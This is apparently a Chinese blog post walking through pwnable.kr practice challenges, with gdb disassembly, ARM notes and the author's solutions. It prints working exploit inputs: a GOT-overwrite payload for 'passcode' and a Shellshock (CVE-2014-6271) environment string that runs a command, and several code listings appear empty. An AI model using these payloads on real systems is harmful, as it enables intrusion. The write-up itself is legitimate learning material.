近期有个比赛哇。。最近恶补一下pwn把。。
pwnable.kr的历险1
fd - 1 pt
这个题目本身挺简单的,就是让argv[1] == 0x1234即可。但是有个神奇的现象,不知道它是怎么编译的,居然再fd = 1和fd = 2的时候都可以读取数据到buf中。。求解释。
collision - 3 pt
逻辑就是将一个输入的字符串转换成整形数组(长度为5),然后将其相加后得到的答案要等于 0x21DD09E。然后考虑到,这个内容如果直接做,不能出现\x00,不然strlen会发生字符串长度截断。所以要保证不能有\x00,于是改一下,变成:
`python -c "print '\xc8\xce\xc5\x06'*4 + '\xcc\xce\xc5\x06'"`
这个用到一个linux 操作 –
command
倒引号 (backticks)
倒单引号能够将cmd包括,然后能够执行。
bof - 5 pt
简单的栈溢出。直接上脚本:
passcode - 10 pt
这个有点难,我们要记录一下代码
1 |
|
提示说是passcode,程序带有warning,发现是一个很搞怪的模式:
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
gdb查看汇编如下:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
=> 0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 printf@plt
0x08048577 <+19>: mov $0x8048783,%eax
0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 __isoc99_scanf@plt
0x0804858b <+39>: mov 0x804a02c,%eax
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 fflush@plt
0x08048598 <+52>: mov $0x8048786,%eax
0x0804859d <+57>: mov %eax,(%esp)
0x080485a0 <+60>: call 0x8048420 printf@plt
0x080485a5 <+65>: mov $0x8048783,%eax
0x080485aa <+70>: mov -0xc(%ebp),%edx
0x080485ad <+73>: mov %edx,0x4(%esp)
0x080485b1 <+77>: mov %eax,(%esp)
0x080485b4 <+80>: call 0x80484a0 __isoc99_scanf@plt
0x080485b9 <+85>: movl $0x8048799,(%esp)
0x080485c0 <+92>: call 0x8048450 puts@plt
0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp)
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp)
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: movl $0x80487a5,(%esp)
0x080485de <+122>: call 0x8048450 puts@plt
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 system@plt
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: movl $0x80487bd,(%esp)
0x080485f8 <+148>: call 0x8048450 puts@plt
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 exit@plt
由于想不到正确的做法发,那么只能强行绕过,执行我们需要的结果了:使用gdb修改eip使其指向0x080485e3
/bin/cat: flag: Permission denied
Now I can safely trust you that you have credential 😃
然而提交答案后发现不对,只能猜测必须构造正确的字符串才能够执行。。。。
后来发现,mdzz它开始有一个可以注入的位置啊居然就这样跳过了:
void welcome(){
char name[100];
printf(“enter you name : “);
scanf(”%100s”, name);
printf(“Welcome %s!\n”, name);
}
汇编如下:
0x08048609 <+0>: push %ebp
0x0804860a <+1>: mov %esp,%ebp
0x0804860c <+3>: sub $0x88,%esp
=> 0x08048612 <+9>: mov %gs:0x14,%eax
0x08048618 <+15>: mov %eax,-0xc(%ebp)
0x0804861b <+18>: xor %eax,%eax
0x0804861d <+20>: mov $0x80487cb,%eax
0x08048622 <+25>: mov %eax,(%esp)
0x08048625 <+28>: call 0x8048420 printf@plt
0x0804862a <+33>: mov $0x80487dd,%eax
0x0804862f <+38>: lea -0x70(%ebp),%edx
0x08048632 <+41>: mov %edx,0x4(%esp)
0x08048636 <+45>: mov %eax,(%esp)
0x08048639 <+48>: call 0x80484a0 __isoc99_scanf@plt
0x0804863e <+53>: mov $0x80487e3,%eax
0x08048643 <+58>: lea -0x70(%ebp),%edx
0x08048646 <+61>: mov %edx,0x4(%esp)
0x0804864a <+65>: mov %eax,(%esp)
0x0804864d <+68>: call 0x8048420 printf@plt
0x08048652 <+73>: mov -0xc(%ebp),%eax
0x08048655 <+76>: xor %gs:0x14,%eax
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 __stack_chk_fail@plt
0x08048663 <+90>: leave
0x08048664 <+91>: ret
那么就很显然了,只要构造一个长度为0x74的padding,加上能够跳转到system语句的内容,就能够完成注入。
输入字符串地址为:0xfffddf98
ebp地址为:0xfffde008
则注入数据长度为:112 + 地址
地址为0x080485e3
尝试发现也不行,这里的scanf中限制了一次性读入的字符串数量。。。这就很尴尬了。
上网找了参考后发现,应该利用的是【修改plt的思路】,也就是说
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 exit@plt
如果密码错误的话,这里会调用0x08048480处的exit,注意到这里是plt,也就是说这里的跳转地址只是跳转到plt表中而已,此时的plt表中的位置不过是一个跳转的地址而已,所以可以通过修正这个跳转地址使得可以跳到目的位置上去。
首先使用readelf -r 指令查看当前的重定向位置:
0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
发现此时exit的偏移量为0x0804a018处相关代码为:
0x08048480 <+0>: jmp *0x804a018
0x08048486 <+6>: push $0x30
0x0804848b <+11>: jmp 0x8048410
内部代码为:
0x0804a018中的内容为 0x08048486,也就是跳转回到这个位置。
换句话,linker的过程其实就是把这个jmp的跳转地址修改,所以我们也可以如法炮制,通过passcode将内容写入这里。
注意到两个函数连续调用,也就是说栈中的变化应该是一致的。于是可以得到不同量的存储位置:
-0x10(%ebp):passcode1
-0x70(%ebp): name
-0x0c(%ebp): passcode2
0x70 - 100 = 0xc。也就是说写入name的时候的内容会将passcode1给覆盖掉,却不能覆盖到passcode2。然而我们已知passcode1读入的数据会存放到其地址指向的内容中。
0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
(原先是一句错误的内容,我们这里反而要利用这一点,将%edx中的内容替换成我们要输入的位置的坐标)
'a'*96 + '\x18\xa0\x04\x08' + '134514147'-->注意人家读入的是scanf("%d")
就能够往0x0804a018处写入system的地址,完成注入。
random - 1 pt
这个考点就是一个随机数。。。直接上C语言即可完成。
input - 4 pt
当年弃坑就是因为这个题目,这重新看一下L
1 |
|
好麻烦啊啊。。。。看起来是要靠一波底力了。由于我们看到很多功能只有我们再本地才能实现,所以这里我们再linux下的/tmp/文件夹下写代码(普通目录由于权限问题不能写入)从而完成实验
让我们一个个关卡来:
1 | // 参数要有100个 |
这个地方要求我们传参到指定位置上。这里我们直接使用函数
execvp(const char *file ,char * const argv []);
来传递函数即可。我们这里考虑使用execvp的原因在于之后用到了环境变量的问题,所以这里动态的增加环境变量
setenv(const char *name,const char * value,int overwrite);
然后再进行调用试试:
1 | #include <stdio.h> |
没问题,然后进入第二关
1 | // 然后输入流输入\x00\x0a\x00\xff |
第二关的要去是往输入流和错误流中写入指定的字符串,这里我们尝试使用write往0和2中写入数据。发现直接写并不能写入,所以这里直接使用了pipe和fork进行处理:
1 | int pid = fork(); |
第三关比较简单,就是设置环境变量。
1 | // env |
这个肯定没问题,毕竟我们之前已经设置过了:
1 | char* env2 = "\xde\xad\xbe\xef"; |
三行解决问题
第四关有点疑惑,是要求我们在指定的位置创建一个文件,然后里面放有指定内容即可。
1 | // file |
问题是,我们都知道,这个input所在目录是不可写的。。。那么我们得如何创建文件呢?这里想到,如果是本程序执行的execvp,那么创建的文件会不会就是在本目录
下呢?(希望知情大佬告知)
最后一关比较麻烦,是网络的知识:
1 | // network |
整体逻辑便是【监听当前’C’传入的端口,并且从这个端口上接收数据\xde\xad\xbe\xef】。那么我们这边就可以反向处理,往本地ip的’C’端口发送指定的内容,从而完成关卡。
最后,由于函数会有一个打开flag的操作,而我们当前的路径并不是在/home/input2下,所以当前目录下没有flag。于是我们可以使用
ln /home/input2/flag flag
进行符号链接。
leg - 2 pt
这个关卡是查看arm汇编,这里先贴一点代码:
1 |
|
可以看到还是比较麻烦的。。。我们先来复习一下ARM:
寄存器含义
- r15 – PC:程序计数器,在arm模式下,记录的是当前pc + 8,在thumb模式下,记录的是当前pc + 4
- r14 – LR:链接寄存器,记录了返回值地址。
- r13 – SP:栈寄存器
操作码
基本的指令如下
opcode {
其中<>为必须,{}为可选
* cond: 执行条件
* Rd:表示目标寄存器。
* Rn:表示第一个操作数的寄存器。
* operand2:表示第2个操作数。
其中,operand2中允许以下的表达:
- #immed_8r:常数表达式
- Rm:寄存器
存储方式
AR采用的是Load-store结构,也就是在内存交换的时候,使用store指令存入内存,再用load读出内存中的数据。
例子:
1 | STMFD SP! {R8-R9} |
函数调用
BL/BLX/BX调用函数,此时使用r14(链接寄存器)存入此时下一跳语句。
返回值存放在r0中。
arm的指令对齐
ARM指令是字对齐(指令的地址后两位为[1:0]=0b00),Thumb是半字对齐(指令的地址后两位为[1:0]=0bx0,x为0或1)。指令的地址的最后一位必为0。
所以当使用bx进行跳转的时候,必须保证指令地址的最后一位为0。因此如果指定的跳转地址不是对其的话,就会将其与0xfffffffc/0xffffffe进行与在进行计算
参数传递的时候,会首先将前四个参数放在r0-r4上,之后的参数才会放到栈上。
回到代码上,首先key1的汇编如下:
1 | 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) |
此时的返回值可以知道,就是当前的pc + 8,也即是0x8ce4
key2如下:
1 | 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) |
这个地方有一个让我奇怪的问题,这个r6的地址显然不对啊。后来查到一个叫做thumb指令的东西,发现前面的代码中也有相关的蛛丝马迹
1 | ".code 16\n" |
.code 16的声明就意味着使用的就是thumb指令集。而此时的使用哪种指令集由低位决定。由于我们前面有提
add r6, pc, #1
此时,状态是由寄存器Rn的最低位来指定的,如果操作数寄存器的状态位Bit0=0,则进入ARM状态,如果Bit0=1,则进入Thumb状态。于是此时状态为Thumb,地址要进行与0xfffffffe相与,得到的地址为0x00008d04.于是此时的返回值就是0x8d08 + 4
最后是key3:
1 | 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) |
这里可以看到,这里将lr 交给了r3,也就是将【函数的返回地址】交给了r0,所以这里的答案就是:
0x00008d80
综上,key1+key2+key3 = 0x8ce4 + 0x8d08 + 4 + 0x8d80
mistake - 1 pt
这个题目提示说,是一个简单的题目,并且是真实漏洞,希望我们不要想象的太难。并且提示上提到说是运算符优先级的问题,拿到源码看一下:
1 |
|
看了好一会儿才发现问题所在。。。
1 | fd=open("/home/mistake/password",O_RDONLY,0400) < 0 |
其实**=优先级是低于<**的,并且open总是>0的,因此得到的fd应该为0,也就是输入流,这里就相当于从输入流中读取数据进行异或了。所以这里我们只需要输入两组长度为10的数据,并且保证其中一个为另一个 xor 1 即可
shellshock - 1 pt
这个题目是一个真实漏洞:
CVE-2014-6271
这个漏洞的利用在于,其解析环境变量的时候,在遇到以“(){”开头通过环境变量来定义的,却没有出现}的环境变量的时候,将会执行其后面的内容,从而造成任意指令执行。
通过设置环境变量:
export x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"'
相关事宜
IRC : irc.netgarage.org:6667 / #pwnable.kr
参考文章:
http://blog.csdn.net/tigerjibo/article/details/6201716